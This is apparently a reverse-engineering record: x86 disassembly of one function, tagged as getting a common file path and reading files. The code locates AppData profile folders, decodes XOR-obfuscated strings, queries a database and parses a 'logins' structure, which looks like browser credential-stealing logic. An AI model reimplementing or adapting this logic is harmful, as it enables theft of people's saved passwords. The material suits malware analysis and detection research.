Function at 0x41e616
Capabilities:
Get common file path
Read file on windows

Disassembly:
mov eax, 0x4672e8
call fcn.00465ac0
sub esp, 0x864
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x76c]
xor ebx, ebx
mov dword [ebp - 0xb4], edx
push eax
push ebx
push ebx
push 0x1a
mov edi, ebx
mov dword [ebp - 0xc8], ebx
push ebx
mov esi, ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov edx, esi
mov ecx, 0x479a70
call fcn.00433ad6
mov edx, str.Profiles
mov ecx, eax
call fcn.00433ad6
lea ecx, [ebp - 0x76c]
push ecx
push eax
lea eax, [ebp - 0x870]
push 0x104
push eax
call fcn.00419e70
mov byte [ebp - 0x24], bl
lea edx, [ebp - 0x870]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x420]
call fcn.00414da0
add esp, 0x14
lea eax, [ebp - 0x420]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0xfc]
call fcn.0040be00
lea ecx, [ebp - 0x420]
call fcn.0041314d
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0xe8]
call fcn.0040d0c9
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0xe4], ebx
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x280]
call fcn.0040d0c9
mov ecx, ebx
xorps xmm0, xmm0
movlpd qword [ebp - 0xc4], xmm0
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0xc0], ecx
cmp dword [ebp - 0x27c], ecx
je 0x41e73b
mov ecx, dword [ebp - 0x27c]
call fcn.0040a717
mov ecx, dword [ebp - 0xc0]
mov byte [ebp - 4], 4
mov dword [ebp - 0xb8], 0xc
mov dword [ebp - 0x34], 0x18
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0xc4]
je 0x41fbb2
lea edi, [eax + 0x20]
mov byte [ebp - 4], 5
mov ecx, edi
call fcn.0040c468
test al, al
je 0x41fb56
mov esi, dword [0x48a8a8]
lea eax, [ebp - 0x384]
push ecx
push eax
mov ecx, edi
call fcn.004139f1
mov eax, dword [ebp - 0x18]
or eax, 0x40
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 6
lea eax, [ebp - 0x384]
cmp dword [ebp - 0x370], 0x10
cmovae eax, dword [ebp - 0x384]
push eax
call esi
pop ecx
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 5
mov esi, eax
call fcn.0041332b
test esi, esi
jne 0x41fb56
movaps xmm0, xmmword [0x47bd20]
mov ecx, ebx
movups xmmword [ebp - 0x26f], xmm0
mov byte [ebp - 0x25f], bl
mov al, byte [ebp + ecx - 0x26e]
xor al, byte [ebp - 0x26f]
mov byte [ebp + ecx - 0x26e], al
inc ecx
cmp ecx, 0xf
jb 0x41e7e4
push ecx
lea eax, [ebp - 0x3b4]
mov byte [ebp - 0x25f], bl
push eax
mov ecx, edi
call fcn.004139f1
mov esi, dword [ebp - 0x18]
or esi, 0x200
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x3b4]
or esi, 1
lea edx, [ebp - 0x26e]
cmp dword [ebp - 0x3a0], 0x10
mov dword [ebp - 0x20], esi
cmovae ecx, dword [ebp - 0x3b4]
call fcn.00433ad6
mov byte [ebp - 0x13c], bl
lea edx, [ebp - 0x24]
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x24], eax
call fcn.00414d66
pop ecx
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x450]
or esi, 2
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], esi
call fcn.0040c40c
test al, al
je 0x41e945
mov dl, 1
mov dword [ebp - 0x86], 0x6e6d5d01
mov dword [ebp - 0x82], 0x726f6866
mov ecx, ebx
mov dword [ebp - 0x7e], 0x6e726b2f
mov word [ebp - 0x7a], 0x6f
xor byte [ebp + ecx - 0x85], dl
inc ecx
cmp ecx, 0xc
jae 0x41e8c0
mov dl, byte [ebp - 0x86]
jmp 0x41e8ab
push ecx
lea eax, [ebp - 0x39c]
mov byte [ebp - 0x79], bl
push eax
mov ecx, edi
call fcn.004139f1
or esi, 0x4000
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x39c]
or esi, 4
lea edx, [ebp - 0x85]
cmp dword [ebp - 0x388], 0x10
mov dword [ebp - 0x20], esi
cmovae ecx, dword [ebp - 0x39c]
call fcn.00433ad6
mov byte [ebp - 0x138], bl
lea edx, [ebp - 0x24]
push dword [ebp - 0x138]
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x24], eax
call fcn.00414d66
pop ecx
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x438]
or esi, 8
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], esi
call fcn.0040c40c
mov byte [ebp - 0x11], 1
test al, al
je 0x41e948
mov byte [ebp - 0x11], bl
mov eax, dword [ebp - 0x18]
test al, 8
je 0x41e966
and eax, 0xfffffff7
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call fcn.0041314d
mov eax, dword [ebp - 0x18]
test al, 4
je 0x41e981
and eax, 0xfffffffb
lea ecx, [ebp - 0x39c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call fcn.0041332b
mov eax, dword [ebp - 0x18]
test al, 2
je 0x41e99c
and eax, 0xfffffffd
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call fcn.0041314d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 5
test al, 1
je 0x41e9bb
and eax, 0xfffffffe
lea ecx, [ebp - 0x3b4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call fcn.0041332b
cmp byte [ebp - 0x11], 0
je 0x41ee49
movaps xmm0, xmmword [0x47bfd0]
mov edx, ebx
push 0xf
movups xmmword [ebp - 0x25e], xmm0
mov byte [ebp - 0x24e], bl
pop esi
mov cl, byte [ebp - 0x25e]
xor cl, byte [ebp + edx - 0x25d]
mov byte [ebp + edx - 0x25d], cl
inc edx
cmp edx, esi
jb 0x41e9de
push ecx
lea eax, [ebp - 0x3cc]
mov byte [ebp - 0x24e], bl
push eax
mov ecx, edi
call fcn.004139f1
mov eax, dword [ebp - 0x18]
or eax, 0x80000
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3cc]
cmp dword [ebp - 0x3b8], 0x10
lea edx, [ebp - 0x25d]
cmovae ecx, dword [ebp - 0x3cc]
call fcn.00433ad6
mov dword [ebp - 0x2e0], ebx
lea ecx, [ebp - 0x2e0]
push eax
mov dword [ebp - 0x2d0], ebx
mov dword [ebp - 0x2cc], esi
mov byte [ebp - 0x2e0], bl
call fcn.0041338c
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 0xd
call fcn.0041332b
push 9
pop edx
lea ecx, [ebp - 0x2b0]
call fcn.00433f04
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x2b0]
cmp dword [ebp - 0x29c], 0x10
cmovae esi, dword [ebp - 0x2b0]
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
mov dword [ebp - 0x298], ebx
lea ecx, [ebp - 0x298]
push eax
mov dword [ebp - 0x288], ebx
mov dword [ebp - 0x284], 0xf
mov byte [ebp - 0x298], bl
call fcn.0041338c
mov byte [ebp - 0x11c], bl
lea edx, [ebp - 0x298]
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 0xf
call fcn.00414d34
pop ecx
mov byte [ebp - 0x118], bl
lea edx, [ebp - 0x2e0]
push dword [ebp - 0x118]
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 0x10
call fcn.00414d34
pop ecx
lea edx, [ebp - 0x480]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x468]
call fcn.0040c370
lea ecx, [ebp - 0x468]
call fcn.0041314d
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 0xf
call fcn.0041314d
cmp dword [ebp - 0x29c], 0x10
lea eax, [ebp - 0x2b0]
mov ecx, dword [0x48a89c]
lea edx, [ebp - 0xbc]
cmovae eax, dword [ebp - 0x2b0]
push edx
push eax
call ecx
pop ecx
pop ecx
test eax, eax
jne 0x41ee28
movaps xmm0, xmmword [0x47c210]
mov edx, ebx
movups xmmword [ebp - 0x344], xmm0
mov dword [ebp - 0x304], 0x63767439
movaps xmm0, xmmword [0x47bfb0]
movups xmmword [ebp - 0x334], xmm0
mov dword [ebp - 0x300], 0x7e767546
movaps xmm0, xmmword [0x47c170]
movups xmmword [ebp - 0x324], xmm0
mov dword [ebp - 0x2fc], 0x6a7770
movaps xmm0, xmmword [0x47bf30]
movups xmmword [ebp - 0x314], xmm0
mov cl, byte [ebp - 0x344]
xor byte [ebp + edx - 0x343], cl
inc edx
cmp edx, 0x4a
jb 0x41ebc5
mov eax, dword [0x48a8ac]
lea ecx, [ebp - 0x48]
push ebx
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x343]
mov byte [ebp - 0x2f9], bl
push ecx
push dword [ebp - 0xbc]
call eax
add esp, 0x14
test eax, eax
jne 0x41ee06
push dword [ebp - 0x48]
mov eax, dword [0x48a8a0]
call eax
pop ecx
cmp eax, 0x64
jne 0x41ee06
mov eax, dword [0x48a8c0]
push ebx
push dword [ebp - 0x48]
call eax
pop ecx
pop ecx
push 1
push dword [ebp - 0x48]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x48a8c0]
call eax
pop ecx
pop ecx
push 2
push dword [ebp - 0x48]
mov dword [ebp - 0x28], eax
mov eax, dword [0x48a8c0]
call eax
pop ecx
pop ecx
mov ecx, dword [0x48a8f0]
mov edi, ebx
push 0xc
mov dword [ebp - 0x2c], eax
pop esi
mov eax, dword [0x48a8f4]
sub eax, ecx
cdq
idiv esi
cmp edi, eax
jae 0x41ed07
mov eax, dword [0x48a8e4]
cmp dword [eax + edi*4], ebx
jne 0x41ed01
mov esi, ebx
mov dword [ebp - 0x30], ebx
imul edx, edi, 0xc
mov dword [ebp - 0x24], edx
mov eax, dword [ecx + edx + 4]
sub eax, dword [ecx + edx]
cdq
idiv dword [ebp - 0x34]
cmp esi, eax
jae 0x41ecfe
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x36c]
mov dword [ebp - 0x36c], ebx
mov dword [ebp - 0x35c], ebx
mov dword [ebp - 0x358], 0xf
call fcn.0041338c
mov eax, dword [0x48a8f0]
mov edx, dword [ebp - 0x24]
imul ecx, esi, 0x18
push ebx
add ecx, dword [eax + edx]
push ecx
lea ecx, [ebp - 0x36c]
call fcn.0041281a
lea ecx, [ebp - 0x36c]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
je 0x41ecec
mov eax, dword [0x48a8e4]
mov dword [eax + edi*4], 1
mov esi, dword [ebp - 0x30]
mov ecx, dword [0x48a8f0]
inc esi
mov dword [ebp - 0x30], esi
jmp 0x41ec7a
push 0xc
pop esi
inc edi
jmp 0x41ec55
mov edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x4c8]
call fcn.0041e46e
mov esi, eax
mov byte [ebp - 4], 0x12
cmp dword [esi + 0x14], 0x10
jb 0x41ed23
mov esi, dword [esi]
mov edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x4b0]
call fcn.0041e46e
mov byte [ebp - 4], 0x13
cmp dword [eax + 0x14], 0x10
jb 0x41ed3d
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov edx, eax
push esi
call fcn.004342bb
pop ecx
lea ecx, [ebp - 0x4b0]
mov esi, eax
call fcn.0041332b
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0xf
call fcn.0041332b
mov cl, 0x3f
mov dword [ebp - 0x3c], 0x79706c3f
mov dword [ebp - 0x38], 0x1f056b
mov edx, ebx
xor byte [ebp + edx - 0x3b], cl
inc edx
cmp edx, 6
jae 0x41ed86
mov cl, byte [ebp - 0x3c]
jmp 0x41ed77
lea eax, [ebp - 0x3b]
mov dword [ebp - 0x2c8], ebx
push eax
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 0x35], bl
mov dword [ebp - 0x2b8], ebx
mov dword [ebp - 0x2b4], 0xf
mov byte [ebp - 0x2c8], bl
call fcn.0041338c
mov edi, 0x48a910
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x2c8]
mov ecx, edi
call fcn.004140f6
mov edx, dword [ebp - 0xb4]
mov ecx, eax
call fcn.00413f35
mov edx, 0x486760
mov ecx, eax
call fcn.004140f6
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 0xf
call fcn.0041332b
mov edx, esi
mov ecx, edi
call fcn.00413f35
inc dword [0x48a8d8]
jmp 0x41ec04
push dword [ebp - 0x48]
call dword [0x48a8cc]
pop ecx
push dword [ebp - 0xbc]
call dword [0x48a8bc]
pop ecx
lea ecx, [ebp - 0x298]
call fcn.0040c941
lea ecx, [ebp - 0x298]
call fcn.0041332b
lea ecx, [ebp - 0x2b0]
call fcn.0041332b
lea ecx, [ebp - 0x2e0]
jmp 0x41fb47
mov dl, 6
mov dword [ebp - 0x78], 0x696a5a06
mov dword [ebp - 0x74], 0x75686f61
mov ecx, ebx
mov dword [ebp - 0x70], 0x69756c28
mov word [ebp - 0x6c], 0x68
xor byte [ebp + ecx - 0x77], dl
inc ecx
cmp ecx, 0xc
jae 0x41ee77
mov dl, byte [ebp - 0x78]
jmp 0x41ee68
push ecx
lea eax, [ebp - 0x3e4]
mov byte [ebp - 0x6b], bl
push eax
mov ecx, edi
call fcn.004139f1
mov esi, dword [ebp - 0x18]
or esi, 0x4000000
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3e4]
cmp dword [ebp - 0x3d0], 0x10
lea edx, [ebp - 0x77]
cmovae ecx, dword [ebp - 0x3e4]
call fcn.00433ad6
mov byte [ebp - 0xf4], bl
lea edx, [ebp - 0x24]
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x498]
mov dword [ebp - 0x24], eax
call fcn.00414d66
pop ecx
lea ecx, [ebp - 0x498]
mov byte [ebp - 4], 0x16
call fcn.0040c40c
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x11], al
call fcn.0041314d
lea ecx, [ebp - 0x3e4]
mov byte [ebp - 4], 5
call fcn.0041332b
cmp byte [ebp - 0x11], 0
je 0x41fb50
mov dl, 0x4d
mov dword [ebp - 0x6a], 0x2221114d
mov dword [ebp - 0x66], 0x3e23242a
mov ecx, ebx
mov dword [ebp - 0x62], 0x223e2763
mov word [ebp - 0x5e], 0x23
xor byte [ebp + ecx - 0x69], dl
inc ecx
cmp ecx, 0xc
jae 0x41ef3a
mov dl, byte [ebp - 0x6a]
jmp 0x41ef2b
push ecx
lea eax, [ebp - 0x3fc]
mov byte [ebp - 0x5d], bl
push eax
mov ecx, edi
call fcn.004139f1
or esi, 0x80000000
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x69]
cmp dword [ebp - 0x3e8], 0x10
lea eax, [ebp - 0x3fc]
push ebx
cmovae eax, dword [ebp - 0x3fc]
push ecx
push eax
call fcn.0043423c
add esp, 0xc
mov byte [ebp - 4], 5
mov esi, eax
lea ecx, [ebp - 0x3fc]
mov dword [ebp - 0x140], esi
call fcn.0041332b
push 0x479a80
push esi
call fcn.00445a2a
mov edi, eax
mov dword [ebp - 0x144], edi
pop ecx
pop ecx
test edi, edi
je 0x41fb50
push 2
push ebx
push edi
call fcn.004447ea
push edi
call fcn.004457ea
push ebx
push ebx
push edi
mov esi, eax
call fcn.004447ea
add esp, 0x1c
mov dword [ebp - 0xe0], ebx
lea eax, [esi + 1]
mov dword [ebp - 0xd0], ebx
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], bl
push ebx
push eax
call fcn.00421250
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0xe0]
cmp dword [ebp - 0xcc], 0x10
push edi
cmovae eax, dword [ebp - 0xe0]
push esi
push 1
push eax
call fcn.004443d8
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xe0]
add esp, 0x10
cmp dword [ebp - 0xcc], 0x10
cmovae ecx, dword [ebp - 0xe0]
add eax, ecx
cmp dword [ebp - 0xcc], 0x10
lea ecx, [ebp - 0xe0]
cmovae ecx, dword [ebp - 0xe0]
push eax
push ecx
lea ecx, [ebp - 0x278]
call fcn.004248f2
push 1
sub esp, 0x28
mov byte [ebp - 4], 0x19
mov eax, esp
lea edx, [ebp - 0x278]
lea ecx, [ebp - 0x354]
mov dword [eax + 0x24], ebx
call fcn.00420cb3
add esp, 0x2c
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x274]
test ecx, ecx
je 0x41f091
call fcn.0040a717
push str.logins
lea ecx, [ebp - 0x354]
call fcn.00422967
cmp byte [eax], 0
je 0x41fb23
push str.logins
lea ecx, [ebp - 0x354]
call fcn.00422967
lea ecx, [ebp - 0xb0]
push ecx
mov ecx, eax
call fcn.00424819
or dword [ebp - 0xc8], 4
mov byte [ebp - 4], 0x1c
mov edx, ebx
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xb0]
sub eax, ecx
sar eax, 4
cmp edx, eax
jae 0x41fb12
mov edi, edx
shl edi, 4
cmp dword [ebp - 0xb4], 0x479a2c
lea esi, [ecx + edi]
jne 0x41f5d7
mov dl, 0x66
mov dword [ebp - 0x52], 0x15090e66
mov dword [ebp - 0x4e], 0xb070812
mov ecx, ebx
mov word [ebp - 0x4a], 3
xor byte [ebp + ecx - 0x51], dl
inc ecx
cmp ecx, 8
jae 0x41f130
mov dl, byte [ebp - 0x52]
jmp 0x41f121
lea eax, [ebp - 0x51]
mov byte [ebp - 0x49], bl
push eax
mov ecx, esi
call fcn.00422967
cmp byte [eax], 0
je 0x41fb06
mov ecx, dword [ebp - 0xb0]
mov edx, ebx
movaps xmm0, xmmword [0x47c230]
movups xmmword [ebp - 0x1a3], xmm0
mov word [ebp - 0x193], 0x7971
lea ecx, [ecx + edi]
mov byte [ebp - 0x191], bl
mov al, byte [ebp + edx - 0x1a2]
xor al, byte [ebp - 0x1a3]
mov byte [ebp + edx - 0x1a2], al
inc edx
cmp edx, 0x11
jb 0x41f16f
lea eax, [ebp - 0x1a2]
mov byte [ebp - 0x191], bl
push eax
call fcn.00422967
cmp byte [eax], 0
je 0x41fb06
mov ecx, dword [ebp - 0xb0]
mov esi, ebx
movaps xmm0, xmmword [0x47c1a0]
movups xmmword [ebp - 0x1b6], xmm0
mov word [ebp - 0x1a6], 0x7365
lea ecx, [ecx + edi]
mov byte [ebp - 0x1a4], bl
mov dl, byte [ebp - 0x1b6]
xor byte [ebp + esi - 0x1b5], dl
inc esi
cmp esi, 0x11
jb 0x41f1cc
lea eax, [ebp - 0x1b5]
mov byte [ebp - 0x1a4], bl
push eax
call fcn.00422967
cmp byte [eax], 0
je 0x41fb06
push 0xf
pop eax
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x210], eax
mov byte [ebp - 0x224], bl
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1f8], eax
mov byte [ebp - 0x20c], bl
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x120], eax
mov byte [ebp - 0x134], bl
mov byte [ebp - 4], 0x1f
mov edx, ebx
mov ecx, dword [ebp - 0xb0]
movaps xmm0, xmmword [0x47bf60]
movups xmmword [ebp - 0x1c9], xmm0
mov word [ebp - 0x1b9], 0x535b
lea ecx, [ecx + edi]
mov byte [ebp - 0x1b7], bl
mov al, byte [ebp + edx - 0x1c8]
xor al, byte [ebp - 0x1c9]
mov byte [ebp + edx - 0x1c8], al
inc edx
cmp edx, 0x11
jb 0x41f271
lea eax, [ebp - 0x1c8]
mov byte [ebp - 0x1b7], bl
push eax
call fcn.00422967
lea ecx, [ebp - 0x4e0]
push ecx
mov ecx, eax
call fcn.004229f3
mov esi, eax
lea eax, [ebp - 0x224]
cmp eax, esi
je 0x41f2ca
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0x224]
call fcn.00413478
lea ecx, [ebp - 0x4e0]
call fcn.0041332b
mov ecx, dword [ebp - 0xb0]
mov edx, ebx
movaps xmm0, xmmword [0x47bca0]
movups xmmword [ebp - 0x1dc], xmm0
mov word [ebp - 0x1cc], 0x2036
lea ecx, [ecx + edi]
mov byte [ebp - 0x1ca], bl
mov al, byte [ebp + edx - 0x1db]
xor al, byte [ebp - 0x1dc]
mov byte [ebp + edx - 0x1db], al
inc edx
cmp edx, 0x11
jb 0x41f2fd
lea eax, [ebp - 0x1db]
mov byte [ebp - 0x1ca], bl
push eax
call fcn.00422967
lea ecx, [ebp - 0x4f8]
push ecx
mov ecx, eax
call fcn.004229f3
mov esi, eax
lea eax, [ebp - 0x20c]
cmp eax, esi
je 0x41f356
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0x20c]
call fcn.00413478
lea ecx, [ebp - 0x4f8]
call fcn.0041332b
mov esi, dword [ebp - 0xb0]
mov dl, 0x38
add esi, edi
mov dword [ebp - 0x5c], 0x4b575038
mov dword [ebp - 0x58], 0x5559564c
mov ecx, ebx
mov word [ebp - 0x54], 0x5d
xor byte [ebp + ecx - 0x5b], dl
inc ecx
cmp ecx, 8
jae 0x41f390
mov dl, byte [ebp - 0x5c]
jmp 0x41f381
lea eax, [ebp - 0x5b]
mov byte [ebp - 0x53], bl
push eax
mov ecx, esi
call fcn.00422967
lea ecx, [ebp - 0x510]
push ecx
mov ecx, eax
call fcn.004229f3
mov esi, eax
lea eax, [ebp - 0x134]
cmp eax, esi
je 0x41f3cb
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0x134]
call fcn.00413478
lea ecx, [ebp - 0x510]
call fcn.0041332b
mov ecx, dword [0x48a8f4]
mov eax, ecx
mov edi, dword [0x48a8f0]
sub eax, edi
push 0xc
cdq
pop esi
idiv esi
mov dword [ebp - 0x1c], ebx
test eax, eax
je 0x41f49c
mov edx, dword [0x48a8e4]
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x1c]
cmp dword [edx + eax*4], ebx
jne 0x41f47b
mov eax, dword [edi + esi + 4]
sub eax, dword [edi + esi]
cdq
idiv dword [ebp - 0x34]
mov dword [ebp - 0x2c], ebx
test eax, eax
je 0x41f478
mov ecx, dword [ebp - 0x28]
mov esi, ebx
mov eax, dword [edi + ecx]
lea ecx, [ebp - 0x134]
add eax, esi
push ebx
push eax
call fcn.0041281a
cmp eax, 0xffffffff
je 0x41f456
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov dword [ecx + eax*4], 1
mov eax, dword [0x48a8e4]
mov edi, dword [0x48a8f0]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x28]
add esi, 0x18
inc dword [ebp - 0x2c]
mov eax, dword [edi + ecx + 4]
sub eax, dword [edi + ecx]
cdq
idiv dword [ebp - 0x34]
cmp dword [ebp - 0x2c], eax
jb 0x41f424
mov ecx, dword [0x48a8f4]
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
inc eax
add esi, 0xc
mov dword [ebp - 0x1c], eax
mov eax, ecx
sub eax, edi
mov dword [ebp - 0x28], esi
cdq
idiv dword [ebp - 0xb8]
mov edx, dword [ebp - 0x30]
cmp dword [ebp - 0x1c], eax
jb 0x41f405
cmp dword [ebp - 0x1f8], 0x10
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x540]
cmovae edx, dword [ebp - 0x20c]
call fcn.0041e46e
mov esi, eax
mov byte [ebp - 4], 0x20
cmp dword [esi + 0x14], 0x10
jb 0x41f4c9
mov esi, dword [esi]
cmp dword [ebp - 0x210], 0x10
lea edx, [ebp - 0x224]
lea ecx, [ebp - 0x528]
cmovae edx, dword [ebp - 0x224]
call fcn.0041e46e
mov byte [ebp - 4], 0x21
cmp dword [eax + 0x14], 0x10
jb 0x41f4f4
mov eax, dword [eax]
cmp dword [ebp - 0x120], 0x10
lea ecx, [ebp - 0x134]
push esi
cmovae ecx, dword [ebp - 0x134]
mov edx, eax
call fcn.004342bb
pop ecx
lea ecx, [ebp - 0x528]
mov esi, eax
call fcn.0041332b
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x1f
call fcn.0041332b
push ecx
lea ecx, [ebp - 0x668]
call fcn.00411a9d
mov byte [ebp - 4], 0x22
mov ecx, ebx
movaps xmm0, xmmword [0x47ba40]
movups xmmword [ebp - 0x24d], xmm0
mov byte [ebp - 0x23d], bl
mov al, byte [ebp + ecx - 0x24c]
xor al, byte [ebp - 0x24d]
mov byte [ebp + ecx - 0x24c], al
inc ecx
cmp ecx, 0xf
jb 0x41f553
mov byte [ebp - 0x23d], bl
call fcn.00433f77
lea edx, [ebp - 0x24c]
mov ecx, eax
call fcn.00433ad6
push ecx
push ecx
push eax
lea ecx, [ebp - 0x668]
call fcn.00411a0d
mov edx, esi
lea ecx, [ebp - 0x668]
call fcn.00413f35
lea ecx, [ebp - 0x668]
call fcn.004119dd
lea ecx, [ebp - 0x668]
call fcn.00410a1b
lea ecx, [ebp - 0x134]
call fcn.0041332b
lea ecx, [ebp - 0x20c]
call fcn.0041332b
lea ecx, [ebp - 0x224]
jmp 0x41fafd
mov cl, 0x40
mov dword [ebp - 0xa4], 0x322f2640
mov dword [ebp - 0xa0], 0x2235132d
mov edx, ebx
mov dword [ebp - 0x9c], 0x1534292d
mov word [ebp - 0x98], 0xc12
mov byte [ebp - 0x96], bl
xor byte [ebp + edx - 0xa3], cl
inc edx
cmp edx, 0xd
jae 0x41f61d
mov cl, byte [ebp - 0xa4]
jmp 0x41f608
lea eax, [ebp - 0xa3]
mov byte [ebp - 0x96], bl
push eax
mov ecx, esi
call fcn.00422967
cmp byte [eax], 0
je 0x41fb06
mov ecx, dword [ebp - 0xb0]
mov esi, ebx
movaps xmm0, xmmword [0x47bc00]
movups xmmword [ebp - 0x157], xmm0
mov word [ebp - 0x147], 0x2028
lea ecx, [ecx + edi]
mov byte [ebp - 0x145], bl
mov dl, byte [ebp - 0x157]
xor byte [ebp + esi - 0x156], dl
inc esi
cmp esi, 0x11
jb 0x41f662
lea eax, [ebp - 0x156]
mov byte [ebp - 0x145], bl
push eax
call fcn.00422967
cmp byte [eax], 0
je 0x41fb06
mov ecx, dword [ebp - 0xb0]
mov edx, ebx
movaps xmm0, xmmword [0x47be20]
movups xmmword [ebp - 0x16a], xmm0
mov word [ebp - 0x15a], 0x4a5c
lea ecx, [ecx + edi]
mov byte [ebp - 0x158], bl
mov al, byte [ebp + edx - 0x169]
xor al, byte [ebp - 0x16a]
mov byte [ebp + edx - 0x169], al
inc edx
cmp edx, 0x11
jb 0x41f6b8
lea eax, [ebp - 0x169]
mov byte [ebp - 0x158], bl
push eax
call fcn.00422967
cmp byte [eax], 0
je 0x41fb06
push 0xf
pop eax
mov dword [ebp - 0x1f4], ebx
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], eax
mov byte [ebp - 0x1f4], bl
mov dword [ebp - 0x23c], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], eax
mov byte [ebp - 0x23c], bl
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0x100], eax
mov byte [ebp - 0x114], bl
mov byte [ebp - 4], 0x25
mov edx, ebx
mov ecx, dword [ebp - 0xb0]
movaps xmm0, xmmword [0x47c1f0]
movups xmmword [ebp - 0x17d], xmm0
mov word [ebp - 0x16d], 0x7e76
lea ecx, [ecx + edi]
mov byte [ebp - 0x16b], bl
mov al, byte [ebp + edx - 0x17c]
xor al, byte [ebp - 0x17d]
mov byte [ebp + edx - 0x17c], al
inc edx
cmp edx, 0x11
jb 0x41f764
lea eax, [ebp - 0x17c]
mov byte [ebp - 0x16b], bl
push eax
call fcn.00422967
lea ecx, [ebp - 0x558]
push ecx
mov ecx, eax
call fcn.004229f3
mov esi, eax
lea eax, [ebp - 0x1f4]
cmp eax, esi
je 0x41f7bd
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0x1f4]
call fcn.00413478
lea ecx, [ebp - 0x558]
call fcn.0041332b
mov ecx, dword [ebp - 0xb0]
mov edx, ebx
movaps xmm0, xmmword [0x47bb60]
movups xmmword [ebp - 0x190], xmm0
mov word [ebp - 0x180], 0x2b3d
lea ecx, [ecx + edi]
mov byte [ebp - 0x17e], bl
mov al, byte [ebp + edx - 0x18f]
xor al, byte [ebp - 0x190]
mov byte [ebp + edx - 0x18f], al
inc edx
cmp edx, 0x11
jb 0x41f7f0
lea eax, [ebp - 0x18f]
mov byte [ebp - 0x17e], bl
push eax
call fcn.00422967
lea ecx, [ebp - 0x570]
push ecx
mov ecx, eax
call fcn.004229f3
mov esi, eax
lea eax, [ebp - 0x23c]
cmp eax, esi
je 0x41f849
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0x23c]
call fcn.00413478
lea ecx, [ebp - 0x570]
call fcn.0041332b
